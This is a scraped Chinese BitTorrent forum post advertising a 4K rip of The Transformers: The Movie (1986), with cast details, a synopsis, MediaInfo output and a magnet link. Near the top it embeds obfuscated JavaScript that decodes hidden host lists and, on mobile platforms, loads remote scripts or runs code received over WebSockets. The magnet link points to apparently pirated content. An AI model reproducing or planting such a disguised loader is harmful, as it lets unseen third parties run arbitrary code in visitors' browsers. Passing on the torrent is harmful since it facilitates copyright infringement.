变形金刚大电影[中文字幕].The.Transformers.The.Movie.1986.2160p.UHD.BluRay.x265.10bit.HDR.DTS-HD.MA.5.1 12.32GB

版主小s 1月前 147

var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDA2OQ==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x6b\x62\x74\x42\x4f\x58\x63\x64\x53\x4e']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('huaweibrowser')>-1||ua.indexOf('vivobrowser')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9vamxzZGtmai41MS10b3VyLm5ldCxodHRwczovL29zbGRramZsLmNoYYW95aTQuYY29t','d3NzOOi8vd3MuaG5qanNoLmNvbTo4MDgwLHdzczovL3dzLnFpbmdsaXh5LmNvbTo4MDgwLHdzczovL3dzLnppb24tbGl2ZXMuY29tOOjgwOODA=',window,document,['Y','O']);}:function(){};

image.png

◎译 名 变形金刚大电影 / 变形金刚:大电影 / Transformers: Matrix yo eien ni

◎片 名 The Transformers: The Movie

◎年 代 1986

◎产 地 美国 / 日本

◎类 别 动作 / 科幻 / 动画 / 冒险

◎语 言 英语 / 日语

◎上映日期 1986-08-08(美国)

◎IMDb链接 https://www.imdb.com/title/tt0092106/

◎豆瓣评分 8.3/10 (4788人评价)

◎豆瓣链接 https://movie.douban.com/subject/1296109/

◎片 长 84分钟

◎导 演 尼尔森·申 Nelson Shin (id:1297477)

◎编 剧 Ron Friedman Ron Friedman (id:1284231)

◎演 员 彼特·库伦 Peter Cullen (id:1025212)

伦纳德·尼莫伊 Leonard Nimoy (id:1002706)

弗兰克·维尔克 Frank Welker (id:1031825)

奥逊·威尔斯 Orson Welles (id:1048149)

贾德·尼尔森 Judd Nelson (id:1036363)

克里斯·拉塔 Chris Latta (id:1111410)

诺曼·阿尔登 Norman Alden (id:1053510)

杰克·安杰尔 Jack Angel (id:1040769)

迈克尔·贝尔 Michael Bell (id:1063548)

格雷格·白尔杰 Gregg Berger (id:1062095)

苏珊·布卢 Susan Blu (id:1063641)

科里·伯顿 Corey Burton (id:1069602)

罗杰·C·卡梅尔 Roger C. Carmel (id:1068452)

维克多·卡洛里 Victor Caroli (id:1321087)

Regis Cordic Regis Cordic (id:1068828)

斯加特曼·克罗索斯 Scatman Crothers (id:1019092)

Bud Davis Bud Davis (id:1079979)

Walker Edmiston Walker Edmiston (id:1086558)

保罗·伊丁 Paul Eiding (id:1088278)

Michael Bell Michael Bell (id:1209724)

尼尔森·申 Nelson Shin (id:1297477)

Vince DiCola Vince DiCola (id:1282408)

David Hankins David Hankins (id:1285964)

◎标 签 动画 / 变形金刚 / 美国 / 科幻 / 童年回忆 / 动画片 / 美国电影 / 1986

◎简 介

2005年,经过多年的正邪之争,汽车人终于将霸天虎赶出地球。然而威震天却率领部众入侵了汽车人的总部塞伯坦行星,擎天柱留下通天晓等战士驻守地球,自己则带人马于塞伯坦旁边的两颗卫星建立秘密基地,计划对霸天虎施以致命一击。但是计划被霸天虎侦得,威震天率先对行星和地球的汽车人发起攻击。战斗中擎天柱不幸牺牲,威震天也伤势严重。

弥留之际,擎天柱将领导模块传给通天晓。而邪恶的宇宙大帝为了摧毁阻碍自己的领导模块,拯救了被红蜘蛛背叛和抛弃的威震天,将其改造为更为强大的惊破天。汽车人和霸天虎新一代领导人相继浮出水面,正邪大战不断升级……

  1. ##### MediaInfo ######

  2. General

  3. Unique ID : 238799323750773146984110741061723001090 (0xB3A713AB34054D4DEBE67B68A2AC9102)

  4. Complete name : The.Transformers.The[email protected]BBQDDQ.COM.mkv

  5. Format : Matroska

  6. Format version : Version 4

  7. File size : 12.3 GiB

  8. Duration : 1 h 25 min

  9. Overall bit rate mode : Variable

  10. Overall bit rate : 20.8 Mb/s

  11. Movie name : The Transformers The Movie 1986

  12. Encoded date : UTC 2021-09-19 06:04:23

  13. Writing application : mkvmerge v61.0.0 ('So') 64-bit

  14. Writing library : libebml v1.4.2 + libmatroska v1.6.4

  15. Cover : Yes

  16. Attachments : cover.jpg


  17. Video

  18. ID : 1

  19. Format : HEVC

  20. Format/Info : High Efficiency Video Coding

  21. Format profile : Main [email protected]@High

  22. HDR format : SMPTE ST 2086, HDR10 compatible

  23. Codec ID : V_MPEGH/ISO/HEVC

  24. Duration : 1 h 25 min

  25. Bit rate : 16.3 Mb/s

  26. Width : 3 840 pixels

  27. Height : 2 076 pixels

  28. Display aspect ratio : 1.85:1

  29. Frame rate mode : Constant

  30. Frame rate : 23.976 (24000/1001/53354) FPS

  31. Color space : YUV

  32. Chroma subsampling : 4:2:0

  33. Bit depth : 10 bits

  34. Bits/(Pixel*Frame) : 0.085

  35. Stream size : 9.68 GiB (79%)

  36. Writing library : x265 3.5+2-g2b25c9ba0+45:[Windows][MSVC 1926][64 bit] Yuuki 10bit+8bit+12bit

  37. Encoding settings : rc=crf / crf=23.0000 / qcomp=0.60 / qpstep=4 / stats-write=0 / stats-read=0 / vbv-maxrate=160000 / vbv-bufsize=160000 / vbv-init=0.9 / min-vbv-fullness=50.0 / max-vbv-fullness=80.0 / crf-max=0.0 / crf-min=0.0 / no-lossless / no-cu-lossless / aq-mode=1 / aq-strength=0.60 / cbqpoffs=0 / crqpoffs=0 / ipratio=1.40 / pbratio=1.30 / psy-rd=1.50 / psy-rdoq=2.00 / deblock=0:0 / ref=5 / limit-refs=1 / no-limit-modes / bframes=11 / b-adapt=2 / bframe-bias=0 / b-pyramid / b-intra / weightp / weightb / min-keyint=1 / max-keyint=240 / rc-lookahead=72 / gop-lookahead=0 / NTMzNTQ=uuDQuD2mJt9fsCf / scenecut=40 / hist-scenecut=0 / radl=0 / max-cu-size=32 / min-cu-size=8 / me=3 / subme=6 / merange=48 / rdoq-level=2 / rd=2 / rdpenalty=0 / dynamic-rd=0.00 / no-rd-refine / ----- / no-cutree / no-sao / no-rect / no-amp / no-open-gop / wpp / no-pmode / no-pme / no-psnr / no-ssim / nr-intra=0 / nr-inter=0 / no-constrained-intra / no-strong-intra-smoothing / max-tu-size=32 / tu-inter-depth=2 / tu-intra-depth=2 / limit-tu=0 / qg-size=32 / qpmax=69 / qpmin=0 / ----- / cpuid=533541111039 / frame-threads=4 / numa-pools=+ / log-level=2 / input-csp=1 / input-res=3840x2076 / interlace=0 / level-idc=51 / high-tier=1 / uhd-bd=0 / no-allow-non-conformance / repeat-headers / aud / hrd / info / hash=0 / no-temporal-layers / lookahead-slices=0 / no-splice / no-intra-refresh / no-ssim-rd / signhide / no-tskip / max-merge=5 / temporal-mvp / no-frame-dup / no-hme / analyze-src-pics / no-sao-non-deblock / selective-sao=0 / early-skip / rskip / no-fast-intra / no-tskip-fast / no-splitrd-skip / zone-count=0 / no-strict-cbr / no-rc-grain / no-const-vbv / sar=0 / overscan=0 / videoformat=5 / range=0 / colorprim=9 / transfer=16 / colormatrix=9 / chromaloc=0 / display-window=0 / master-display=G(13250,34500)B(7500,3000)R(34000,16000)WP(15635,16450)L(10000000,1) / cll=962,41 / min-luma=0 / max-luma=1023 / log2-max-poc-lsb=8 / vui-timing-info / vui-hrd-info / slices=1 / no-opt-qp-pps / no-opt-ref-list-length-pps / no-multi-pass-opt-rps / scenecut-bias=0.05 / hist-threshold=0.03 / no-opt-cu-delta-qp / no-aq-motion / hdr10 / hdr10-opt / no-dhdr10-opt / no-idr-recovery-sei / analysis-reuse-level=0 / analysis-save-reuse-level=0 / analysis-load-reuse-level=0 / scale-factor=0 / refine-intra=0 / refine-inter=0 / refine-mv=1 / refine-ctu-distortion=0 / no-limit-sao / ctu-info=0 / no-lowpass-dct / refine-analysis-type=0 / copy-pic=1 / max-ausize-factor=1.0 / no-dynamic-refine / no-single-sei / no-hevc-aq / no-svt / no-field / qp-adaptation-range=1.00 / scenecut-aware-qp=0conformance-window-offsets / right=0 / bottom=0 / NTMzNTQ= / decoder-max-rate=0 / no-vbv-live-multi-pass

  38. Default : Yes

  39. Forced : No

  40. Color range : Limited

  41. Color primaries : BT.2020

  42. Transfer characteristics : PQ

  43. Matrix coefficients : BT.2020 non-constant

  44. Mastering display color primaries : Display P3

  45. Mastering display luminance : min: 0.0001 cd/m2, max: 1000 cd/m2

  46. Maximum Content Light Level : 962 cd/m2

  47. Maximum Frame-Average Light Level : 41 cd/m2


  48. Audio

  49. ID : 2

  50. ID in the original source medium : 4353 (0x1101)

  51. Format : DTS XLL

  52. Format/Info : Digital Theater Systems

  53. Commercial name : DTS-HD Master Audio

  54. Codec ID : A_DTS

  55. Duration : 1 h 25 min

  56. Bit rate mode : Variable

  57. Bit rate : 4 385 kb/s

  58. Channel(s) : 6 channels

  59. Channel layout : C L R Ls Rs LFE

  60. Sampling rate : 48.0 kHz

  61. Frame rate : 93.750 FPS (512 SPF)

  62. Bit depth : 24 bits

  63. Compression mode : Lossless

  64. Stream size : 2.60 GiB (21%)

  65. Language : English

  66. Default : No

  67. Forced : No

  68. Original source medium : Blu-ray


  69. Text #1

  70. ID : 3

  71. ID in the original source medium : 4770 (0x12A2)

  72. Format : PGS

  73. Muxing mode : zlib

  74. Codec ID : S_HDMV/PGS

  75. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  76. Duration : 1 h 24 min

  77. Bit rate : 32.8 kb/s

  78. Count of elements : 1609

  79. Stream size : 19.9 MiB (0%)

  80. Title : chs&eng

  81. Language : Chinese

  82. Default : No

  83. Forced : No

  84. Original source medium : Blu-ray


  85. Text #2

  86. ID : 4

  87. ID in the original source medium : 4771 (0x12A3)

  88. Format : PGS

  89. Muxing mode : zlib

  90. Codec ID : S_HDMV/PGS

  91. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  92. Duration : 1 h 24 min

  93. Bit rate : 33.0 kb/s

  94. Count of elements : 1609

  95. Stream size : 20.0 MiB (0%)

  96. Title : cht&eng

  97. Language : Chinese

  98. Default : No

  99. Forced : No

  100. Original source medium : Blu-ray


  101. Text #3

  102. ID : 5

  103. ID in the original source medium : 4772 (0x12A4)

  104. Format : PGS

  105. Muxing mode : zlib

  106. Codec ID : S_HDMV/PGS

  107. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  108. Duration : 1 h 24 min

  109. Bit rate : 20.5 kb/s

  110. Count of elements : 1609

  111. Stream size : 12.5 MiB (0%)

  112. Title : chs

  113. Language : Chinese

  114. Default : No

  115. Forced : No

  116. Original source medium : Blu-ray


  117. Text #4

  118. ID : 6

  119. ID in the original source medium : 4773 (0x12A5)

  120. Format : PGS

  121. Muxing mode : zlib

  122. Codec ID : S_HDMV/PGS

  123. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  124. Duration : 1 h 24 min

  125. Bit rate : 20.8 kb/s

  126. Count of elements : 1609

  127. Stream size : 12.6 MiB (0%)

  128. Title : cht

  129. Language : Chinese

  130. Default : No

  131. Forced : No

  132. Original source medium : Blu-ray


  133. Text #5

  134. ID : 7

  135. ID in the original source medium : 4768 (0x12A0)

  136. Format : PGS

  137. Muxing mode : zlib

  138. Codec ID : S_HDMV/PGS

  139. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  140. Duration : 1 h 23 min

  141. Bit rate : 26.9 kb/s

  142. Count of elements : 1851

  143. Stream size : 16.0 MiB (0%)

  144. Language : English

  145. Default : No

  146. Forced : No

  147. Original source medium : Blu-ray


  148. Menu

  149. 00:00:00.000 : Chapter 01

  150. 00:07:07.427 : Chapter 02

  151. 00:12:00.720 : Chapter 03

  152. 00:19:26.165 : Chapter 04

  153. 00:26:27.586 : Chapter 05

  154. 00:37:02.220 : Chapter 06

  155. 00:44:21.659 : Chapter 07

  156. 00:51:13.070 : Chapter 08

  157. 00:56:48.405 : Chapter 09

  158. 01:03:56.833 : Chapter 10

  159. 01:11:10.266 : Chapter 11

  160. 01:19:00.736 : Chapter 12

  161. 01:25:00.095 : Chapter 13


TAGS 动作 冒险 动画 科幻

磁力链:
  • magnet:?xt=urn:btih:9C4537C360A720AF3159D6BD6919AD4F9CC400DB
上传的附件:

BT9527.com论坛第一帅,不接受任何反驳
BT9527电影天堂 1、BT9527电影天堂提供的BT文件均来源于互联网抓取,只供网友学习交流、技术提升使用。
2、我们遵守BitTorrent点对点协议原则,任何版权问题请联系原资源发布商,我们不处理任何版权纠纷,谢谢!如有争议请联系邮箱:BT9527#hotmail.com(#换成@)
3、如果您发现某页面或地址有错误,请联系站长邮箱BT9527#hotmail.com(#换成@),我们会尽快处理。您的热心是对BT9527电影天堂最大的支持。
4、本站建议去正规影院观看电影以支持电影行业发展。

最新回复 (0)

你可以在 登录 or 注册 后,对此帖发表评论!

返回